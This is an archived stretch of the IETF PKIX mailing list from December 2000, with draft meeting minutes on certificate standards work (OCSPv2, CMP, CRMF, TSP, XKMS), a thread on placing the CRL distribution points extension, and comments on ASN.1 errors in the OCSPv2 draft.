       revisions to RFC 2527, the "Certificate Policy and Certification
       Practices Framework".  A new draft will be posted in the near
       future.  This update will describe expected changes in the
document. Tim did not present Santosh's slides, due to time 
constraints, but the slides will be posted to the IETF web site.

Attribute Certificate Acquisition Protocol - Steve Farrell (Baltimore)
       This document specifies a deliberately limited protocol for
requesting attribute certificates from a server. No presentation was 
made on this document, since there was no significant progress to 
report.

Repository Locator Service - Phil Hallem-Baker (VeriSign)
       This document leverages DNS and DNS SRV records to enable
       Certificate using systems to locate PKI repositories
       based on a domain name, identify the protocols that can be
       used to access the repository, and obtain addresses for the
servers that host the repository service. The current plan is to 
progress this as an experimental track RFC.

PKIX and XML - Phil Hallem-Baker (VeriSign)

Phil first noted that mere re-encoding of certificates in XML does 
not seem to be a valuable exercise. A second approach might be to 
re-encode and change some semantics at the same time, but this too is 
not very attractive. Instead, the work Phil reported on envisions a 
fresh start for a native XML PKI model, using XML encryption, 
signatures, SOAP, etc., i.e., a PKI that is deeply entwined in the 
XML environment. Several observations are made about why PKI 
deployment has not been as successful as we would all hope, e.g., 
applications that are not compliant with standards. XML key 
management services (XKMS) is an attempt to provide an interface, not 
an infrastructure, which will yield a very small footprint 
implementation (because of delegated validation), thus removing an 
impediment from deployment. "Trust services" form the core of this 
scheme, using delegated validation in various structural schema, 
e.g., completely centralized, DNS-tree structure, PGP-web, X.509 
cross certification, etc. It is not clear in which context this work 
should proceed, e.g., it may be more appropriate in W3C vs. the IETF.

--============_-1235358777==_ma============
Content-Type: text/enriched; charset="us-ascii"

Folks,


Here are the draft meeting minutes from PKIX.  Please reply with
corrections by 12/31. Pardon the text alignment problems in this
version.  The final version will fix those problems.


Also, all speakers who would like their slides included in the IETF
archive for this meeting should e-mail them to me (as power point
files) over the next 2 weeks.


Thanks,


Steve

----------------------------------------------------------------------

<fontfamily><param>Courier_New</param><bigger>PKIX WG Meeting
12/12-13/00 

Edited by Steve Kent (WG co-chairs)


The PKIX WG met twice during the 48th IETF. A total of approximately
200 individuals participated in the first meeting, and about 150 in the
second.


Day 1 (12/12/00)


Tim quickly reviewed the agenda and document status, noting that there
are 20  I-Ds in progress. (see slides)


Qualified Certificates Profile - Stefan Santesson (Addtrust)

      This document has been approved as a Standards track RFC and

      is currently in the editors queue.  Stefan briefly discussed the

      status of the corresponding ETSI specification that refers to
this RFC. 

In a new item, Stefan briefly discussed the idea of a new extension
that could be used to refer (with integrity) to corporate logos for
subjects and issuers, as an aid to users when they display
certificates. Steve Kent expressed some concern that such graphics
might undermine the security offered by the name constraints extension,
IF a CA accidentally or maliciously binds a logo to a name which is not
really related to the name.


Attribute Certificate Profile - Steve Farrell (Baltimore)

      This document has been through working group Last Call and is

currently under Area Director Review.  Steve described the status of
this document, including changes made as a consequence of Last Call.
Denis alluded to a problem in the base ISO spec which has been
inherited by the PKIX document. 


Data Validation and Certification Server - Carlisle Adams (Entrust)

      This document has been approved as a Experimental

      track RFC and is currently in the editing queue.


Time Stamp Protocols (TSP) - Denis Pinkas (Bull)

      This document has been through working group Last Call and is

      currently under Area Director Review.  Denis described the
changes

made to the TSP specification as a consequence of Last Call, and the
creation of an appendix to specify the SIA extension. This appendix is
a temporary one, and the SIA extension will later be moved to RFC
2459bis, when then document is issued. ETSI will work on a TSP security
policy document, analogous to one ETSi is working on for CA security
policy. Denis offers to initiate further work, to specify a set of
standard TSA policies. This would require a mod to the current PKIX
charter.


Permanent Identifier - Denis Pinkas (Bull)

      This document is stable and ready for progression as an RFC.

The question before the WG is what status should be attached to the
document, i.e., standards track, informational, or experimental? A
quick poll of attendees suggests support for standards track, but since
the number of folks who claim familiarity with the document was small,
we will bring this to the list for a straw poll for final resolution.
Bob Moskowitz cited a potential problem with current CA
implementations, if one tried to request a certificate with a new name,
signing the request with a key bound to a certificate with a different
name.


Technical Non-Repudiation - Tom Gindin (IBM)

      This document is ready to proceed as an Informational track

specification. Denis presented a few slides raising issues that he
feels need to be addressed prior to publication as information. For
example, he notes that ETSI has a standard for 1-way NR which is viewed
as sufficient for legal NR purposes, not consistent with this draft.
Denis will correspond with Tom to resolve this and related issues.


Delegated Path Validation & Discovery Services - Steve Kent (BBN)

      The working group has been presented with two alternative

Proposals: Simple Certificate Validation Protocol (SCVP) and extensions
to OCSP (v2) for Delegated path Discovery and Validation. Steve Kent
presented a proposed set of criteria, and associated rationales, for
use in evaluating these competing proposals. Steve will follow up with
an extended message on the topic to the mailing list, to establish
consensus for selection criteria.



Day 2 (12/13/00)



CMP/CRMF Interoperability Results - Bob Moskowitz (ICSA Labs)

      Bob has been organizing interoperability testing for CRMF/CMP

      Implementations.  This testing will support the progression of
CMP

and CRMF to Draft standard. Bob discussed results of recent test
activities, which are leading to an interoperability test report.


Certificate Management Protocol (CMP) - Carlisle Adams (Entrust)

	This document incorporates clarifications to RFC 2510.  These 

      changes are proposed as a result of interoperability testing.  

This specification is ready for Last Call and progression of CMP to
Draft Standard. The editors believe that the changes made from the
previous version are minor and thus the document should progress to
DRAFT standard.


Certificate Request Message Format (CRMF) - Carlisle Adams (Entrust) 

	This document incorporates clarifications to RFC 2511.  These 

      changes are proposed as a result of interoperability testing.  

      This specification is now ready for Last Call and progression

of CRMF to Draft Standard.


Certificate and CRL Profile revisions - Russ Housley (SPYRUS) 

      This document is the follow-up to RFC 2459.  A new draft of this

document has been published. The document is ready for Working Group
Last Call, modulo a difference of opinion between X.509 and PKIX re
name constraints. It is not clear whether we can achieve agreement with
X.509 over this, or if we need to diverge. We set 2/14 as a "drop dead"
date, i.e., either we reconcile with X.509 by then, OR we assign a
distinct OID for the "PKIX name constraints extension." This date was
chosen based on a planned X.509 meeting in late January. Since a number
of changes have been made and since they are substantive, this document
will be considered as a Proposed Standard.


 Public Key Algorithms and Identifiers - Russ Housley (SPYRUS)

      This document is a companion to the Certificate and CRL Profile.

      This specification contains the algorithm-specific information,

      such as OIDs and encoding information.  This specification is 

      ready for WG Last Call and is expected to progress to Proposed

Standard with the Certificate and CRL Profile. Jim Schaad suggested
that DSA/SHA-1 be mandated, with RSA/MD2 prohibited for new
certificates. An attendee suggested that RSA should be mandated, based
on existing deployment. Jeff Schiller noted that the SAAG argued for
consistency among the major certificate client protocols: IPsec,
S/MIME, and TLS. Steve Kent agreed to call for a straw poll on the PKIX
list re this topic.


OCSPv2 - Michael Myers (VeriSign)

	This document incorporates clarifications and enhancements to

RFC 2560, plus DPD & DPV extensions. A major issue is whether we should
progress this document to DRAFT, or make changes, specifically to the
certificate ID mechanism, to cycle at proposed. Mike described the
proposed new certificate ID forms; the WG needs to decide if support
for all of these forms is appropriate. For example, an attendee noted
that issuer name and serial number works even if the server is CRL
driven, but certificate hash is not derivable from a CRL. Thus support
for some forms of certificate IDs implies server database capabilities
that must be explicitly defined and agreed upon. Another attendee
raised concerns that the status response (a CHOICE today) may be
overloaded when one tries to encompass path validation, vs. validation
of individual certificates. Steve Kent noted that processing the DPD
and DPV extensions represents substantial new functionality and
complexity to an OCSP v1 server, so that it is not appropriate to
characterize the complexity of these new extensions purely in terms of
their (minimal) syntax.


Comments on OCSPv2 - Denis Pinkas (Bull)

Denis agreed that there is a need to revise OCSP, for several minor but
important editorial reasons, but he argues that while there are
deficiencies in the certificate ID in v1, but that existing OCSP
clients do find the certificate ID facility adequate for the simple
purpose of revocation status checking. The major motivation for
expanding the certificate ID types is to support extensions such as DPV
or DPD. He suggested that we revise OCSP, but only to add an ASN.1
module OID, re-specify a mandatory algorithm, and to clarify the status
returned, not to support extensions such as DPD and DPV.


Comments on OCSPv2 - Ambarish Malpani (ValiCert)

Ambarish notes that there are at least 11 independent implementations
of OCSP v1, many users, etc. For the original, intended purpose, he
argues that the current deployment success attests to the adequacy of
the current spec. He noted that the use model assumes that the client
has all of the certificates in a chain and thus the limitations on
certificate IDs are not severe, although he admitted the design could
have been better in this regard.


PKIX Roadmap - Sean Turner (IECA)

      This document provides an overview or "roadmap" of the work

      done by the IETF PKIX working group. It defines common terms, 

      describes basic theory behind PKI, and provides an overview of 

      PKIX documents and the relationships between them.  This
document

is now fairly stable; the editor and WG chairs agree to execute WG last
call, for this to become an informational RFC.


Operational Protocols, LDAPv3 - David Chadwick (Univ. of Salford)

      This document is the LDAPv3 analog of RFC 2559.  This document

      describes the features of LDAPv3 that are essential, or not

      required, or are optional for servers to support a PKI based

on X.509. David reviewed the mandatory, recommended and not
recommended, aspects of the profile. 


CP/CPS Framework - Tim Polk (on behalf of Santosh Chokhani, Cygnacom)

      An ad hoc group of PKIX and ABA members has been working on

      revisions to RFC 2527, the "Certificate Policy and Certification

      Practices Framework".  A new draft will be posted in the near

      future.  This update will describe expected changes in the 

document. Tim did not present Santosh's slides, due to time
constraints, but the slides will be posted to the IETF web site.


Attribute Certificate Acquisition Protocol - Steve Farrell (Baltimore)

      This document specifies a deliberately limited protocol for

requesting attribute certificates from a server. No presentation was
made on this document, since there was no significant progress to
report.


Repository Locator Service - Phil Hallem-Baker (VeriSign)

      This document leverages DNS and DNS SRV records to enable

      Certificate using systems to locate PKI repositories 

      based on a domain name, identify the protocols that can be

      used to access the repository, and obtain addresses for the

servers that host the repository service. The current plan is to
progress this as an experimental track RFC.


PKIX and XML - Phil Hallem-Baker (VeriSign)


Phil first noted that mere re-encoding of certificates in XML does not
seem to be a valuable exercise. A second approach might be to re-encode
and change some semantics at the same time, but this too is not very
attractive. Instead, the work Phil reported on envisions a fresh start
for a native XML PKI model, using XML encryption, signatures, SOAP,
etc., i.e., a PKI that is deeply entwined in the XML environment.
Several observations are made about why PKI deployment has not been as
successful as we would all hope, e.g., applications that are not
compliant with standards. XML key management services (XKMS) is an
attempt to provide an interface, not an infrastructure, which will
yield a very small footprint implementation (because of delegated
validation), thus removing an impediment from deployment. "Trust
services" form the core of this scheme, using delegated validation in
various structural schema, e.g., completely centralized, DNS-tree
structure, PGP-web, X.509 cross certification, etc. It is not clear in
which context this work should proceed, e.g., it may be more
appropriate in W3C vs. the IETF.  
</bigger></fontfamily>

--============_-1235358777==_ma============--


Received: from SOTTMXS01.entrust.com (gatekeeper.entrust.com [204.101.128.170]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id NAA21756 for <ietf-pkix@imc.org>; Wed, 13 Dec 2000 13:44:13 -0800 (PST)
Received: by SOTTMXS01.entrust.com with Internet Mail Service (5.5.2650.21) id <YVKXPHGS>; Wed, 13 Dec 2000 16:46:57 -0500
Message-ID: <DD62792EA182FF4E99C2FBC07E3053BD826306@sottmxs09.entrust.com>
From: Sharon Boeyen <sharon.boeyen@entrust.com>
To: "'Russ Housley'" <housley@spyrus.com>, Sharon Boeyen <sharon.boeyen@entrust.com>
Cc: "'Jayant Sane (Exchange)'" <jayant@eLock.com>, Pkix List <ietf-pkix@imc.org>
Subject: RE: Question about CRL DP
Date: Wed, 13 Dec 2000 16:47:11 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C0654E.3F6D5C40"

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C0654E.3F6D5C40
Content-Type: text/plain;
	charset="iso-8859-1"

Whew, its good when that happens - one less defect report we need to write
to clarify the standard :-)

-----Original Message-----
From: Russ Housley [mailto:housley@spyrus.com]
Sent: Tuesday, December 12, 2000 12:18 PM
To: Sharon Boeyen
Cc: 'Jayant Sane (Exchange)'; Pkix List
Subject: RE: Question about CRL DP


Sharon:

Thanks for the more complete answer than the one that I posted.  And, we
gave consistent answers.

Russ

At 08:20 AM 12/12/2000 -0500, Sharon Boeyen wrote:


The CRL distribution points extension can appear in either a CA-certificate
or an end-entity certificate. Regardless of the certificate type, the
revocation list pointed to is one that would list the certificate (if it had
been revoked) that contains the extension. So, if you find the extension in
a CA-certificate it is pointing to an ARL (or a CRL that contains revocation
notices for CA-certificates). While it is possible that the revocation list
being pointed to also contains revocation notices for end-entity certs, you
can't assume that from this instance of the extension. That would be
indicated separately in the end-entity certs themselves.
 
Hope this helps
Sharon


-----Original Message-----
From: Jayant Sane (Exchange) [ mailto:jayant@eLock.com
<mailto:jayant@eLock.com> ]
Sent: Monday, December 11, 2000 3:52 PM
To: Pkix List
Subject: Question about CRL DP

This might be a naive question. 
 
Is it allowed/std practice to put the CRLDP extension in the issuer(CA) cert
such that the crl pointed to contains/lists revoked end-entity certs (issued
by it). 
I came across following certificate. 
End-entity cert has an AIA extension pointing to its issuer cert and the
issuer cert has both AIA, to its issuer, and CRLDP persumably pointing to a
CRL containing end-entity certs. The specs have'nt been very clear on the
placement of this extension (unless I am overlooking something) -- whether
it is more appropriate to put the CRLDP in the end-entity cert itself as
compared to the CA cert.
The one in the CA could be interpreted as one pointing to the CRL issued its
issuer. 
 
Some clarification would be greatly appreciated.
 
thanks,
Jayant


------_=_NextPart_001_01C0654E.3F6D5C40
Content-Type: text/html;
	charset="iso-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">


<META content="MSHTML 5.00.3105.105" name=GENERATOR></HEAD>
<BODY>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=678424521-13122000>Whew, 
its good when that happens - one less defect report we need to write to clarify 
the standard :-)</SPAN></FONT></DIV>
<BLOCKQUOTE 
style="BORDER-LEFT: #0000ff 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: 0px; PADDING-LEFT: 5px">
  <DIV class=OutlookMessageHeader><FONT face="Times New Roman" 
  size=2>-----Original Message-----<BR><B>From:</B> Russ Housley 
  [mailto:housley@spyrus.com]<BR><B>Sent:</B> Tuesday, December 12, 2000 12:18 
  PM<BR><B>To:</B> Sharon Boeyen<BR><B>Cc:</B> 'Jayant Sane (Exchange)'; Pkix 
  List<BR><B>Subject:</B> RE: Question about CRL 
  DP<BR><BR></DIV></FONT>Sharon:<BR><BR>Thanks for the more complete answer than 
  the one that I posted.&nbsp; And, we gave consistent 
  answers.<BR><BR>Russ<BR><BR>At 08:20 AM 12/12/2000 -0500, Sharon Boeyen 
  wrote:<BR>
  <BLOCKQUOTE class=cite cite type="cite"><FONT color=#0000ff face=arial 
    size=2>The CRL distribution points extension can appear in either a 
    CA-certificate or an end-entity certificate. Regardless of the certificate 
    type, the revocation list pointed to is one that would list the certificate 
    (if it had been revoked) that contains the extension. So, if you find the 
    extension in a CA-certificate it is pointing to an ARL (or a CRL that 
    contains revocation notices for CA-certificates). While it is possible that 
    the revocation list being pointed to also contains revocation notices for 
    end-entity certs, you can't assume that from this instance of the extension. 
    That would be indicated separately in the end-entity certs 
    themselves.</FONT><BR>&nbsp;<BR><FONT color=#0000ff face=arial size=2>Hope 
    this helps</FONT><BR><FONT color=#0000ff face=arial size=2>Sharon</FONT><BR>
    <BLOCKQUOTE class=cite cite type="cite"><FONT 
      face="Times New Roman, Times" size=2>-----Original 
      Message-----<BR><B>From:</B> Jayant Sane (Exchange) [<A 
      href="mailto:jayant@eLock.com" 
      eudora="autourl">mailto:jayant@eLock.com</A>]<BR><B>Sent:</B> Monday, 
      December 11, 2000 3:52 PM<BR><B>To:</B> Pkix List<BR><B>Subject:</B> 
      Question about CRL DP<BR><BR></FONT><FONT face=arial size=2>This might be 
      a naive question. </FONT><BR>&nbsp;<BR><FONT face=arial size=2>Is it 
      allowed/std practice to put the CRLDP extension in the issuer(CA) cert 
      such that the crl pointed to contains/lists revoked end-entity certs 
      (issued by it). </FONT><BR><FONT face=arial size=2>I came across following 
      certificate. </FONT><BR><FONT face=arial size=2>End-entity cert has an AIA 
      extension pointing to its issuer cert and the issuer cert has both AIA, to 
      its issuer, and CRLDP persumably pointing to a CRL containing end-entity 
      certs. The specs have'nt been very clear on the placement of this 
      extension (unless I am overlooking something) -- whether it is more 
      appropriate to put the CRLDP in the end-entity cert itself as compared to 
      the CA cert.</FONT><BR><FONT face=arial size=2>The one in the CA could be 
      interpreted as one pointing to the CRL issued its issuer. 
      </FONT><BR>&nbsp;<BR><FONT face=arial size=2>Some clarification would be 
      greatly appreciated.</FONT><BR>&nbsp;<BR><FONT face=arial 
      size=2>thanks,</FONT><BR><FONT face=arial 
  size=2>Jayant</FONT></BLOCKQUOTE></BLOCKQUOTE></BLOCKQUOTE></BODY></HTML>

------_=_NextPart_001_01C0654E.3F6D5C40--


Received: from pdcfairfax.elock.com ([63.83.231.13]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id JAA06265 for <ietf-pkix@imc.org>; Wed, 13 Dec 2000 09:30:37 -0800 (PST)
Received: from ROCK207 ([63.83.231.21]) by pdcfairfax.elock.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id X6T46509; Wed, 13 Dec 2000 12:28:54 -0500
Message-ID: <018201c0652a$3b03a3e0$15e7533f@elock.com>
From: "Jayant Sane \(Exchange\)" <jayant@eLock.com>
To: "Pkix List" <ietf-pkix@imc.org>
References: <5.0.1.4.2.20001212121452.02981ad8@mail.spyrus.com>
Subject: Re: Question about CRL DP
Date: Wed, 13 Dec 2000 12:29:20 -0500
MIME-Version: 1.0
Content-Type: multipart/alternative; boundary="----=_NextPart_000_017F_01C06500.516D5920"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6600
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600

This is a multi-part message in MIME format.

------=_NextPart_000_017F_01C06500.516D5920
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Thanks everyone. That clarified things. It appears that I may need to =
make a special case :-( for processing the paritcular case I =
encountered....

Jayant
  ----- Original Message -----=20
  From: Russ Housley=20
  To: Sharon Boeyen=20
  Cc: 'Jayant Sane (Exchange)' ; Pkix List=20
  Sent: Tuesday, December 12, 2000 12:17 PM
  Subject: RE: Question about CRL DP


  Sharon:

  Thanks for the more complete answer than the one that I posted.  And, =
we gave consistent answers.

  Russ

  At 08:20 AM 12/12/2000 -0500, Sharon Boeyen wrote:

    The CRL distribution points extension can appear in either a =
CA-certificate or an end-entity certificate. Regardless of the =
certificate type, the revocation list pointed to is one that would list =
the certificate (if it had been revoked) that contains the extension. =
So, if you find the extension in a CA-certificate it is pointing to an =
ARL (or a CRL that contains revocation notices for CA-certificates). =
While it is possible that the revocation list being pointed to also =
contains revocation notices for end-entity certs, you can't assume that =
from this instance of the extension. That would be indicated separately =
in the end-entity certs themselves.
    =20
    Hope this helps
    Sharon

      -----Original Message-----
      From: Jayant Sane (Exchange) [mailto:jayant@eLock.com]
      Sent: Monday, December 11, 2000 3:52 PM
      To: Pkix List
      Subject: Question about CRL DP

      This might be a naive question.=20
      =20
      Is it allowed/std practice to put the CRLDP extension in the =
issuer(CA) cert such that the crl pointed to contains/lists revoked =
end-entity certs (issued by it).=20
      I came across following certificate.=20
      End-entity cert has an AIA extension pointing to its issuer cert =
and the issuer cert has both AIA, to its issuer, and CRLDP persumably =
pointing to a CRL containing end-entity certs. The specs have'nt been =
very clear on the placement of this extension (unless I am overlooking =
something) -- whether it is more appropriate to put the CRLDP in the =
end-entity cert itself as compared to the CA cert.
      The one in the CA could be interpreted as one pointing to the CRL =
issued its issuer.=20
      =20
      Some clarification would be greatly appreciated.
      =20
      thanks,
      Jayant

------=_NextPart_000_017F_01C06500.516D5920
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2919.6307" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Thanks everyone. That clarified things. =
It appears=20
that I may need to&nbsp;make a special case :-( for processing the =
paritcular=20
case I encountered....</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Jayant</FONT></DIV>
<BLOCKQUOTE=20
style=3D"BORDER-LEFT: #000000 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: =
0px; PADDING-LEFT: 5px; PADDING-RIGHT: 0px">
  <DIV style=3D"FONT: 10pt arial">----- Original Message ----- </DIV>
  <DIV=20
  style=3D"BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: =
black"><B>From:</B>=20
  <A href=3D"mailto:housley@spyrus.com" title=3Dhousley@spyrus.com>Russ =
Housley</A>=20
  </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>To:</B> <A=20
  href=3D"mailto:sharon.boeyen@entrust.com" =
title=3Dsharon.boeyen@entrust.com>Sharon=20
  Boeyen</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Cc:</B> <A =
href=3D"mailto:jayant@eLock.com"=20
  title=3Djayant@eLock.com>'Jayant Sane (Exchange)'</A> ; <A=20
  href=3D"mailto:ietf-pkix@imc.org" title=3Dietf-pkix@imc.org>Pkix =
List</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Sent:</B> Tuesday, December 12, =
2000 12:17=20
  PM</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Subject:</B> RE: Question about CRL =
DP</DIV>
  <DIV><BR></DIV>Sharon:<BR><BR>Thanks for the more complete answer than =
the one=20
  that I posted.&nbsp; And, we gave consistent =
answers.<BR><BR>Russ<BR><BR>At=20
  08:20 AM 12/12/2000 -0500, Sharon Boeyen wrote:<BR>
  <BLOCKQUOTE class=3Dcite cite type=3D"cite"><FONT color=3D#0000ff =
face=3Darial=20
    size=3D2>The CRL distribution points extension can appear in either =
a=20
    CA-certificate or an end-entity certificate. Regardless of the =
certificate=20
    type, the revocation list pointed to is one that would list the =
certificate=20
    (if it had been revoked) that contains the extension. So, if you =
find the=20
    extension in a CA-certificate it is pointing to an ARL (or a CRL =
that=20
    contains revocation notices for CA-certificates). While it is =
possible that=20
    the revocation list being pointed to also contains revocation =
notices for=20
    end-entity certs, you can't assume that from this instance of the =
extension.=20
    That would be indicated separately in the end-entity certs=20
    themselves.</FONT><BR>&nbsp;<BR><FONT color=3D#0000ff face=3Darial =
size=3D2>Hope=20
    this helps</FONT><BR><FONT color=3D#0000ff face=3Darial =
size=3D2>Sharon</FONT><BR>
    <BLOCKQUOTE class=3Dcite cite type=3D"cite"><FONT=20
      face=3D"Times New Roman, Times" size=3D2>-----Original=20
      Message-----<BR><B>From:</B> Jayant Sane (Exchange) [<A=20
      href=3D"mailto:jayant@eLock.com"=20
      eudora=3D"autourl">mailto:jayant@eLock.com</A>]<BR><B>Sent:</B> =
Monday,=20
      December 11, 2000 3:52 PM<BR><B>To:</B> Pkix =
List<BR><B>Subject:</B>=20
      Question about CRL DP<BR><BR></FONT><FONT face=3Darial =
size=3D2>This might be=20
      a naive question. </FONT><BR>&nbsp;<BR><FONT face=3Darial =
size=3D2>Is it=20
      allowed/std practice to put the CRLDP extension in the issuer(CA) =
cert=20
      such that the crl pointed to contains/lists revoked end-entity =
certs=20
      (issued by it). </FONT><BR><FONT face=3Darial size=3D2>I came =
across following=20
      certificate. </FONT><BR><FONT face=3Darial size=3D2>End-entity =
cert has an AIA=20
      extension pointing to its issuer cert and the issuer cert has both =
AIA, to=20
      its issuer, and CRLDP persumably pointing to a CRL containing =
end-entity=20
      certs. The specs have'nt been very clear on the placement of this=20
      extension (unless I am overlooking something) -- whether it is =
more=20
      appropriate to put the CRLDP in the end-entity cert itself as =
compared to=20
      the CA cert.</FONT><BR><FONT face=3Darial size=3D2>The one in the =
CA could be=20
      interpreted as one pointing to the CRL issued its issuer.=20
      </FONT><BR>&nbsp;<BR><FONT face=3Darial size=3D2>Some =
clarification would be=20
      greatly appreciated.</FONT><BR>&nbsp;<BR><FONT face=3Darial=20
      size=3D2>thanks,</FONT><BR><FONT face=3Darial=20
  =
size=3D2>Jayant</FONT></BLOCKQUOTE></BLOCKQUOTE></BLOCKQUOTE></BODY></HTM=
L>

------=_NextPart_000_017F_01C06500.516D5920--



Received: from mail.spyrus.com (mail.spyrus.com [207.212.34.20]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id JAA05657 for <ietf-pkix@imc.org>; Wed, 13 Dec 2000 09:16:35 -0800 (PST)
Received: from RHOUSLEY-PC.spyrus.com (ietf.207.137.71.200.tx.verio.net [207.137.71.200]) by mail.spyrus.com (8.9.3/8.9.3) with ESMTP id JAA00305; Wed, 13 Dec 2000 09:18:35 -0800 (PST)
Message-Id: <5.0.1.4.2.20001212121452.02981ad8@mail.spyrus.com>
X-Sender: rhousley@mail.spyrus.com
X-Mailer: QUALCOMM Windows Eudora Version 5.0.1
Date: Tue, 12 Dec 2000 12:17:36 -0500
To: Sharon Boeyen <sharon.boeyen@entrust.com>
From: Russ Housley <housley@spyrus.com>
Subject: RE: Question about CRL DP
Cc: "'Jayant Sane (Exchange)'" <jayant@eLock.com>, Pkix List <ietf-pkix@imc.org>
In-Reply-To: <DD62792EA182FF4E99C2FBC07E3053BD8262F0@sottmxs09.entrust.c om>
Mime-Version: 1.0
Content-Type: text/html; charset="us-ascii"

<html>
Sharon:<br>
<br>
Thanks for the more complete answer than the one that I posted.&nbsp;
And, we gave consistent answers.<br>
<br>
Russ<br>
<br>
At 08:20 AM 12/12/2000 -0500, Sharon Boeyen wrote:<br>
<blockquote type=cite class=cite cite><font face="arial" size=2 color="#0000FF">The
CRL distribution points extension can appear in either a CA-certificate
or an end-entity certificate. Regardless of the certificate type, the
revocation list pointed to is one that would list the certificate (if it
had been revoked) that contains the extension. So, if you find the
extension in a CA-certificate it is pointing to an ARL (or a CRL that
contains revocation notices for CA-certificates). While it is possible
that the revocation list being pointed to also contains revocation
notices for end-entity certs, you can't assume that from this instance of
the extension. That would be indicated separately in the end-entity certs
themselves.</font><br>
&nbsp;<br>
<font face="arial" size=2 color="#0000FF">Hope this helps</font><br>
<font face="arial" size=2 color="#0000FF">Sharon</font><br>
<blockquote type=cite class=cite cite><font face="Times New Roman, Times" size=2>-----Original
Message-----<br>
<b>From:</b> Jayant Sane (Exchange)
[<a href="mailto:jayant@eLock.com" eudora="autourl">mailto:jayant@eLock.com</a>]<br>
<b>Sent:</b> Monday, December 11, 2000 3:52 PM<br>
<b>To:</b> Pkix List<br>
<b>Subject:</b> Question about CRL DP<br>
<br>
</font><font face="arial" size=2>This might be a naive question.
</font><br>
&nbsp;<br>
<font face="arial" size=2>Is it allowed/std practice to put the CRLDP
extension in the issuer(CA) cert such that the crl pointed to
contains/lists revoked end-entity certs (issued by it). </font><br>
<font face="arial" size=2>I came across following certificate.
</font><br>
<font face="arial" size=2>End-entity cert has an AIA extension pointing
to its issuer cert and the issuer cert has both AIA, to its issuer, and
CRLDP persumably pointing to a CRL containing end-entity certs. The specs
have'nt been very clear on the placement of this extension (unless I am
overlooking something) -- whether it is more appropriate to put the CRLDP
in the end-entity cert itself as compared to the CA cert.</font><br>
<font face="arial" size=2>The one in the CA could be interpreted as one
pointing to the CRL issued its issuer. </font><br>
&nbsp;<br>
<font face="arial" size=2>Some clarification would be greatly
appreciated.</font><br>
&nbsp;<br>
<font face="arial" size=2>thanks,</font><br>
<font face="arial" size=2>Jayant</font></blockquote></blockquote></html>



Received: from eagle.verisign.com (eagle.verisign.com [208.206.241.105]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id WAA29826 for <ietf-pkix@imc.org>; Tue, 12 Dec 2000 22:47:44 -0800 (PST)
Received: from postal-gw2.verisign.com (verisign.com [63.104.27.102]) by eagle.verisign.com (8.9.3/BCH1.7.1) with ESMTP id WAA20698; Tue, 12 Dec 2000 22:51:58 -0800 (PST)
Received: by postal-gw.verisign.com with Internet Mail Service (5.5.2650.21) id <YMB7NWZL>; Tue, 12 Dec 2000 22:50:18 -0800
Message-ID: <2F3EC696EAEED311BB2D009027C3F4F4020DC2D1@vhqpostal.verisign.com>
From: Michael Myers <MMyers@verisign.com>
To: phil.griffin@asn-1.com, pkix list <ietf-pkix@imc.org>
Subject: RE: Comments on draft-ietf-pkix-ocspv2-01
Date: Tue, 12 Dec 2000 22:50:16 -0800
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"

Phil,

Many thanks for your detailed analysis.  We'll fold this into the -02 (and
with hope, final) draft for WG consideration.

Mike

> -----Original Message-----
> From: Phillip H. Griffin [mailto:phil.griffin@asn-1.com]
> Sent: Tuesday, December 12, 2000 8:57 AM
> To: pkix list
> Subject: Comments on draft-ietf-pkix-ocspv2-01
> 
> 
> Following are comments on minor glitches I found in 
> the OCSP ASN.1 module in draft-ietf-pkix-ocspv2-01.txt.
> 
> 
> [1] The definition of type OCSPResponseStatus is in
>     error due to style. A comment "--No more data available }"
>    makes the required trailing "}" missing:
> 
>    OCSPResponseStatus ::= ENUMERATED {
>                   snip
>       noMoreData            (7)       --No more data available }
> 
>    Suggest changing the comment to bind this text with a
>    second trailing "--" to yield "--No more data available -- }"
> 
> [2] The OCSP module attempts to import type CRLReason 
>     from X.509 module AuthenticationFramework. But this
>     enumerated type is not defined in that module, but is
>     defined in the X.509 module CertificateExtensions {
>     joint-iso-itu-t ds(5) module(1) 
>     certificateExtensions(26) 4 }
> 
>     Suggested change follows.
> 
>     Note that the X.509 AuthenticationFramework module 
>     defines well known ASN.1 types required by the OCSP 
>     module, but which are imported from elsewhere. Types 
>     CertificateSerialNumber and Extensions should be
>     imported from the AuthenticationFramework module.
> 
>     Suggested change follows.
> 
>     The OCSP module attempts to import types GeneralName
>     and Name from a module that has an EXPLICIT tags
>     default. But type Name is defined in the X.501 
